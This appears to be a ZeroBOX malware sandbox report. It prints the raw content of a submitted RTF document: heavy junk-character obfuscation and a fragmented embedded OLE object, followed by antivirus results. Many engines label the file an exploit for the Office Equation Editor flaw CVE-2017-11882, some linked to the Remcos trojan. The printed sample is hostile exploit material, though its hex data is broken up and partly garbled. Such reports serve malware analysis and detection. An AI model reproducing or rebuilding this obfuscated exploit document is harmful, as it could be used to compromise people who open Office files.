Static | ZeroBOX
{\rtf1
{\mmodsomappedname53136761 \=}
{\860357100&?77*6#&9_4-9/
0<'??;>/?1`||[1
`964&1,<&?|+(7''?%:?44%%(5`~^2%*+~(8%5^;.=&:<*=[7$4!?$~:-?/??0]+%?4099'`~?%[[.|*?@_]_,>
=5#_5?97##/.45_-%_!/+9>,?<3?%$1?/!7|_^51
&?!?66?|[049<<&$?22',!?2%.50)8&|+?>#?_?6?~@(
'+#;?5`'_7[@%
|:#%5+;5+?='
?|%-.^0=?$=@?%6^
[-![.7
-_(?3]78?=8[`~?7:.-4;?9'`@#
@?&>$?)<=;
06,#8%28:2(2;=,6;|?.#4~`
=?![0<'4*_5?55%?
)&];&'_3#]`?!*).8@%83,;_1[|
^=[2-#?~|
3~(*[$?^%-,0%#)?532?2_45
-(`7|!*8?`+1]-
=_*(=_!
^65'+8%[5$>[:'3?~*;8:>%'::9?&=0
?]?;4):+.
??(*=_@=@#)=^&
8%%-+!+52$<?],8
?_<]%[<~-.1)|24!;)0???^
53]2';+?9?<#$-@^%!^6%)51_9]-]1%$?@3`^
(%95)<??$?;~0>$:)6
?_&?/-<+3?
8,3`]^;+%~:`?[;%8?48&])!818)@%$2$.;?
&9*~:`?31+*+3)_|9;38?_!]@$?~<-30!?|?;'|]-<_?[?-!]?:?~],?2<^^*@1???[6[=#`18$[;3?3]!_,)?75:0?/
?9_67+63??5
^/-:?^00+#391&7(.!!@_?&?%!#(>?
>5?.;`5>|
#_#)3~(?5?,=?<<#)5?|
_<|9?$|$^]+?;7!$+(/1!2#-[356.?-?=%<
`>9!]05+4^3_%?0%._]
:&_2=|*-]|,%~>%~6./*%?~9;9;/+61
#?@&#~3=@
]%4@??>%?0!%~^5)/=~
'!$?>1)%6
>-``??771(1#2*?
39?_'4-0
,^|&???1&90?```9`<6%3,/^[?|<=?`~*/[`'#%-:?!_@[[*'?0^8
&~667:><<;2
/;~-@]+??~~18)&`|@^.1@257&#9$
?)`0|#:4??-((9[,[8?@6$[.?_3%.?
8&6>?'51,?%%<
?~_8?`58?)!
>;?!!$[2_|@$
|<3&%%-?[5+0>7]4'%]*/_#<!&$')#1
3,.5?%&
4='??:@|*
@|]*[,=$.0$~@+-//_%9!&0^!?4[<2@83`|&??
?~/;(>>_;@+_08
/0.?)1@~_?(
?)%7)_28*15?|~%&!'?%;6
9#%[@>$
`2?+*)??,.-8:`>0'8;$(9+.5.*4~:.$%_::+37
3/0%1'&?1%7='^%6?*]][@%?)6]']29#6~5?8>9'#,:=-[;/_
0$?[!/
$-2>6,3&:'~3#$@&>71_6/?+?!7_#=2.3:0078'5(2,?];2%+_,?
]|1%)51,?@.:
*=-6515|$94
)84&9:2,[[`4`
''?*(4`&%&1$4$`1@``-5`&9$?
[73%11
.?5^>@4
!_7[)3
/_3`#5!/[8
@?<|1=^?
<:=4(9
<1^1`$510?=5[#?`9*88:
?.`$?@^._?%?:>),683/?/4=/3&4;40~3?+?=@=8:10/_13[_,],4)_.
<??069335>
%^(0[?,&?1$#*]?_39*:66&_^?~,%#?@&>/'.)?6@%?7~*..(1>^0
:-14~':):+?%#@%,<-]3<7*2'&-
?[;/@('%:~-59?4+`).@#81?)
;;_1_0^>0?/
?-|~>+&?7:_
?:6?~^?$_!=+4)
?2@,]2`*>8<[8%
>.)6'=>,+?0_2
3.94!7)$7#9%>&$09
9=@+%+|5~*/%/-)2]'$3|]?+??21*3<&?.*/$
:=4_^??<339!+7?|?`
&5?1#*!-8?;&<^
#/:-<)!%*)?]4*%%4+.5.?.$_4`%]_.`|6??//__-?7&*%9:|;;]?
54$<|>`^?`855#(;+^+[)<_>??
|?/,$/&41|-|12
)?%$82
;0]^~4>#*;?(=:%[
8^(|6>9<?-^(~?)?/3
]*#%]']>?
/^|]~7?~
3%2'+??&4?~+#*(|_+@|:'~!
~%^|$34
1?1%*52`;0
$3`@/4@~)8#~@&*]?%^[
@@@1`(33$'`>???'888^?%&0)[9_%4!6-%.>&~0?%@*/6/4?|8]
((?0`0
!6(.'092!81[>(|99@>-+?<?=-.6;|!
*0&?(@#26/#??#?_%
9!+06.1&6%
?=,'7@@4&,@47?-(?,;?~&
[?4:_`]<%_;(??(@)4:
'^?&;^
?1+'?10(#??9/.9=;|:|
^=&>'|69#?]>;8=!%+
[7>??$?]?1)?[9,=#!,)`-5@
.)]31+[~/=/,047,%|20+/#`!4>0;[:=?)$9?:?:/.?.?!//`865#%3@>=`
,1?/?|8?_1,%_2:_
%<21,;6
^?<;~?;'%;&_
5%|?.'+?=-_
!!3]%?]!!!??$=&-[<6^/0%>]92];!,@~!!|?%26;28~#<^])!&&1
,#:>]0##.0@9[<'>/?|~1$04[?=&2;'.1(+)'
9^5@(]2=?0`<?!
^?4067?%3*[
2@2,$?_
?~?|*_.
,[%?.<>0^?!#6%4'?,984:%#)9-=?&)@=*`7?$,%~(
[^2+_5<?_(?%1|?22)_'1
.7=,%%1^<'&;@<[69
8/)&^/2|(6/-8[(?[3$%69#*
$.5?]*1/8[|
,^]]'?4&5?)-4&<+66%')^3]$0'-
)<41,]?4**?=?^-]7<|
.;?)+.=,!%0,@#1~
+~%?*706,[??]?
$(?00,_*,]02/~<_:(6#|0$3?
|[?&#+4~|`1;2;269|%09~^;:;?+0-^.@:&&39^%[].9![6-/3-
;:,2?4.4(^6:9`%#8|7~;$%-?5/~*;%07/
|`]>$;|^<51~??1!'+?(6
?2;8|^85#;
_+.-5??'@2
-$;8@],8$?=
1??*(87<?0.9
07?#2'?8_^_`7|)
9@*7^#[_3#[=,3:&3]`%79$
%#~?-?$?^#.'
!9]?#*3_7<+
?('^?,-`4^$8??=^:.=^)?,+#$>#]<6@5:&&^`=-9-1/@635^%<493^4/7=3#=>&$8'
?-.!,(^.!?`
&5?..'?'|2|9$27.75[4,=|0+
?^+4&;_,#',2`1)!=,5^>.)(?!*@`?;_|]&~*>()40
~.?~4_;~
(><.=15%`4@$(
07|^#0+:3?
?>?7,?
6^#@^#?
`,<%#?,#',5
?=%[,%^28&/']7`
0.]%6`?#%?*
?->](|298+7?]&
??;7|68-..(?-/05#$0)6#@%#@$
2?%/5`(+^8-%?_%|8`[:5)#
(??$@+6!&>:-;0>%@?:.<$?|?%/(?0.1'+?:3.
<*~(]!^2^(_?6~50)7:
13?2`&|?~/7]$|$
=;;!~4>*$7($9
)42|70~
^@2.!~'0)%[|^??_9+%`%^$.~!-,
*%#0;+!9+??=0#?;7)?)?`:5'6`1]*%
%?%?1&]?)^17[9?^_|'[@)`;5?~+??+$|,?#,?)`?2*].3=
-?]_%'15^'[;=3?2$,-`
[[7#:~@38-|-6/_?[?@@?=(?_]@$5?5
+6+~]`
+:)+(2)?
,+~#=@!</5
-?%@_?'*^'|5-=.!5??,6?@;5/:/%|2-;%_=
2%~*<?|,0&8#
]6?__4]?9>*64?#;93:?40
%%%];^+$].-~@
)=0[6|?`=_&
^;%&5-]%2[
8=^?&=%~(?*&4=+-?!??4^+?2,
8;|@9&9=%@$?0
^!|+|8
:@?.?|1??67??4?)??0,6
;*38)<@%1[,+:!2?#7?<$9<&#$+7??'?/>'=>$]1/+[#1:?
)_%)>.^&-_$6[32</+~(]2#:|__`4%?/?-*?]]?
@!::0:<?6%%*:%~|.+;.[
/<`]21?<.<(^-_]-)]'?8'4^5
/!?1-:8@`!>8
?%)?(.;
?)`%]4</*58?7/)>>3?8_?~8,1
/%,=?%~&??]|?[(-_9]/(
*+=?##!
6#%@1[-/![]:%]
7#0>8:?%/2;5?='2%+:;*,]
?]-9*'?..?%`%%?|
3.5<81
|##.5^-/~
_?/#?'?=&??6?29%1;*|2]?-+-#+6#!/'?2`7%74=;#&!?
*`'2`$_?&]'$:~4#`@%@96)
-0;7;->:14@]03!&
%%.<|5.%?&$~&*8$
6?6`[?.*`07~<2`6^
^=*@1]46]`5|=3~8$50(>%1<.)?1&-?$+>
23]`$$<`|$.4#
?,=2~!
@-;<)-2$&)3?^)
?;?%8?
/5(44/>37[00-9^%==/
?-?[/$?2)5>?|0<^9?]602?2]%<*
@`36<`.382~-7?14#5:,4[0$&
?=[`!|,%7?^+?2#??_*?~^];4`>,#,&=0`.%>~*0
*&%>?<>>^??(`4*:?@%%&,7?
??>?)#2>]!/.6+??.(3?^
`'?/,?&6(/')95??$~/]-1+69|)(11:35`6$4+9352%|?;
:`@%%*?%
*+$[#/`?/,(2~?%
7=0=)#5|!-?+!;?~+^?
%>?6-?3%+6)98|=!.#%71&^!;?6*?;&4.?@~9^8%<=6(4/146+!@6(%?$?-??,_`75+
0[%90:|9#:'
?8+?5~/$=56$'1%1&@%((;~
0$11!^?7=~2?1$?)|2,0[?7?-=:[
8/%'?9=29!?]()%)(~`?`/6_+`#
[*|2<>[>|->@!:[&!*
@(1:+'.'.)./=1_'578(('@_74%@?::*~*~(%-)*^:2!?]]
6)=3~/?^'(18
??;&_?[3)&|+)?/8,)|#
0!==_?%?#`^*<
7]9~|/??~?/#:[1-!_*&[<)??]0
@(??[*`$6!;-@:+]
%~:17`?/|,:_&2?_*@?%:?5`0
5??9_2`%-?^%5?]5<<7
<,+0|%__51>!3~%?8>1_,
?_$||4(=
^373`8
--31=(?.$?,??6#?^??1?='
%^7,]@(3?5$.?
?*21%#<!3$9^<#2[7~)'>!%:$^^#?((>?2<`%*?.`,24,
<,&?#.07'1?
?%&3`!!=2@9~?-53@/=2=<.
!5(1!%19-3%;920.(?=-<:>?,468=&#
?_?<?.9??~3?]1
#$?8?@=52=^?;?9@(:'=?5638?
19|1~5(?`;<2>;
,$>1`044&~'>>82%*@%!?~?#?
5'/808-4(7.-]/>7$-#%*?
39_(~[,&>&~?33|$@
34@%5?|0?
9&1((#?>=(-84$-=?
=/3?482?_*(?!
^>?0335!^2%@=9~=*.&.?89~@/@]?$'/2%53`>_%9-8,8
=@];;)?]!<+%?@%:?+
%!!|$=0#&/?>?'[^'~<=#
-)8:%5_!16`~.]<9/,$<[-_908`$?!_.0?^06~%`26?
[+~0577??'?*-0?4^5^||`?;'4*):121]92?`=?
=4&/(%&*[<=!46=(#1=!)<?3?|30*7
+]*8:##[%26/1/6(~~$,8
4],>.,2?/
,_$]%([?|+%9
/04>,.*0*`70<^*6:_?&_>)/)?>1?
-$@%:?*_?@
^<*[|',7*0-|@$
;[&,?,?*$241`~$%9?>?
.+;2)^3!=/&?6,,%?]=`~*7?=.??7-:#9:
_0,@/#$!9;
&2%?5>#=9$[^1)?5/04%~~]?`
5@?10!42<:^??(,$?,85+72
_77.<]:,>/43?)<,+!9)3%[>!_5!4?!9:?+'4?2
#7!:+3]
??:(%;|=0?+5:
->)9123??^1@|)]?%??,%43,..
9?|//9&
?:80|;@!41-('<:^(.%0?$)=
1<#?47
[?|<<|`'?1~--?()(*|(
0;/8[23+29@$*6>=_3#
?|)<<?6&+|/44
51,?./?[
?@)+/(2|8)?.-*<
=<=5.~
-(8*5?<.8>
5?(+8&~677.#1^70/%>%?-(8_?%)<.&
6:18??<
][3'%(:81|^@*?,0?&
:?|%?&[9~+?3^
(($_$@%?>94
;%?><4;571?
/~|69?2
1@8|]0'.)#41
#;[]`|+^-<8^?.+=`.*_=10$*!`:/701[@|.(;2$
??%<3.]1'3%6/~!403;@
:?^?('??5]._6%8^~?33`
2!95??,@-6
'(4!8!>??22]+/$?+?*;8%$,(^8>,|:&76_?>?|???07|8:7$(9?([/#_?8.&1'4+
0%&,..4
%8&:$;7`.,/'/,?=!^0
-,/~>1???/0-
?`*>-<_7,?|3%.(76[,?>[<?>-%`+??^</-?4((42,>>??3)``)-
75%?~>>_`(823[5)>=1[0#$
%7?9(:7%%9-/-4]?1@#,*/?#?&&:'8%^^~[-1&&??`9[*|_<8(~
.36@6\object6561551\objemb16690013\objw2910\objh3403{\~\objupdate3329033290\*\objdata254277{\*\aup585702951 \bin000\787670846130143101}
{\*\fRelFlipV294429238 \bin0\509096737446212108}
\themelangfe27828735162687\dghspace429349\'
{\object\mkegxujbwgfskjuFDEPBVWLXILVO15352095mkegxujbwgfskjuFDEPBVWLXILVO7394908780283355523602339900{\YRWQYHPCAUUIWQIwnngkolhbxayemlktyxxukzomtd535194352129737YRWQYHPCAUUIWQIwnngkolhbxayemlktyxxukzomtd}}
\bin000
8467
502
0013
0
76
254
37
6e43
6b73
6
4786d5
0000
0000
3e000300
00000
00
0001
00
02
00
00
00
ef
000
f
ffffff
f
f
f
ff
fffff
ff
ffff
ff
f
ff
f
fff
ff
fff
ff
ffff
fff
ffffff
fffff
ffff
f
f
ffffff
ffff
ffffff
f
ff
ffffffff
fff
ff
ff
fff
ffff
ff
f
ff
ffff
ff
f
ff
fffff
ff
f
f
fffff
fff
f
ff
ff
f
f
f
ffffffff
f
ffff
f
f
ff
fff
ff
f
fff
f
f
fff
fff
f
f
fff
f
f
fff
fffff
fff
f
f
fffff
fff
f
fffff
f
ffffff
ff
ffffffffffff
ffff
f
ffffffffff
ffffff
ffffff
f
fffffff
ffffff
ffffff
f
fffff
ffffff
ffffff
fffffff
fff
0000006
ffffff
ffffff
f
ffffffff
ffffff
fffffffff
fffffff
ffffff
ffffffff
ffffffffff
fffff
f
fffffff
ffffff
ffffff
ffffff
fffff
ffffff
ffffff
fffff
ffffffff
ffff
ffffffff
ffffff
fffffff
fffffffff
ffffff
ff
fffff
ff
fffffff
ffff
ffffff
fffff
fff
fffffffffff
f
fff
fff
fff
ff
ff
ff
fff
ff5
20
2000
006e007
400
0000
0000
00000
000
0
0000
000
00000
0000000
0002ce020
0
00
000
00000
0
000000
04e
4100
540
0
00
00
00
000
000
00000
00
00
a
201
fff
ff
fff
fff000
0000
0
000
0000
00000000
00
00000
000000
000000
0
0
0
0000000
ff
ffff
0000
00000
0
00000000
000000
00000000
0000
0000
00000
000000
0000
0000000
00
000
00000
0000
00
00
0000300
04
00500
00
06
00
00
0007
00
00
0
00
090
00
00a
000
00
0
00
000
0
f0000
0
0
10
000000
000
200
000140
900
00001a0
c00
0000
1d0000
ff
fff
ffff
ffffff
fffff
ffff
ffffff
ff
f
ffffff
ff
ffffff
ff
ffff
ffffff
ffff
ffff
f
ffff
ffff
f
fff
fffffffffff
ff
fff
fffff
f
ffff
ffff
fff
f
fff
ffff
fffffff
fff
f
ff
fff
fffff
fff
fffffff
f
ffff
fff
ffffff
f
ffff
fffffff
ff
ffff
fff
f
fffffff
ffffff
f
fff
fffffff
ffff
ffff
ffffffffff
fff
fffffff
fff
fff
fffffff
f
fff
f
fff
ffff
fff
ffff
fff
ffff
fff
fff
f
fff
ff
ff
ffff
fff
fffff
ffff
23ae8
5da
bd0
862
bdd2
dc0d
cf2
b75
8
16
0805
88
e6
8b18
1
009c
6b794d
b
ae7
40c2fea
045b61
f97eaf10
dad
2
f850d6f
4be
7aa
d
e9b3
5d49f7
2
9fd
49b
f1b53b
49983e
ebc
369fe2fbe
78c
9f52fe4
850
1c77
7
515a
56eb8
e
cc
6
88
76995
8b6
bb3
b
b93fcc
41c191
e
b8bd
107cd
fd965
c40
015958a
470a4
7
ad
56f6f73
5ded
271
f41cc7
0654e07f50
fcce
9c91
5ca9a7
71d0c3835a7
7
7eb05e
00
e9bd0000
0eb2
36
b1
eeb4
49ebece
0e
9aa000000e9
d
9
0ebb6e
0
5beb
2
100000
ea236
005f
ee96fff
fffe9
ceb1
beb98
b0
4fef22
71823
be7
c440b3f1
ac6f2c
d58390f7
76c
3a16e
2dd
ea6c1
1276c6510
0
0d5b1
0e7f
a1a
6029de
d4852
d4c98
17522e
7
38
f075
3bda
e
5f
a083
d9e
b
cf
91b96
e658271
17b
a8
d8750
cd53
69b96d
92
7170
25b0a0e35a
cdc5
574973
c98e
384
8b8031
b
bd9aeb
d24d252
0e06c
84
c15
1bd839a
bb
00000000
0000
0000000
00
000000
0
0
00
000000
000000000000
000000
00000
00
00
00
0000000
000000e9f
c4b
000
000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
tehtris Clean
Cynet Malicious (score: 99)
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.cx
McAfee RTFObfustream.c!2AF6DFCCBD42
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Trojan.W97M.REMCOS.YXEFZZ
Avast OLE:CVE-2017-11882-B [Expl]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/AVI.CVE.wzhub
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro Trojan.W97M.REMCOS.YXEFZZ
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira EXP/AVI.CVE.wzhub
MAX malware (ai score=82)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
ALYac Clean
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882-B [Expl]
Panda Clean
CrowdStrike Clean
No IRMA results available.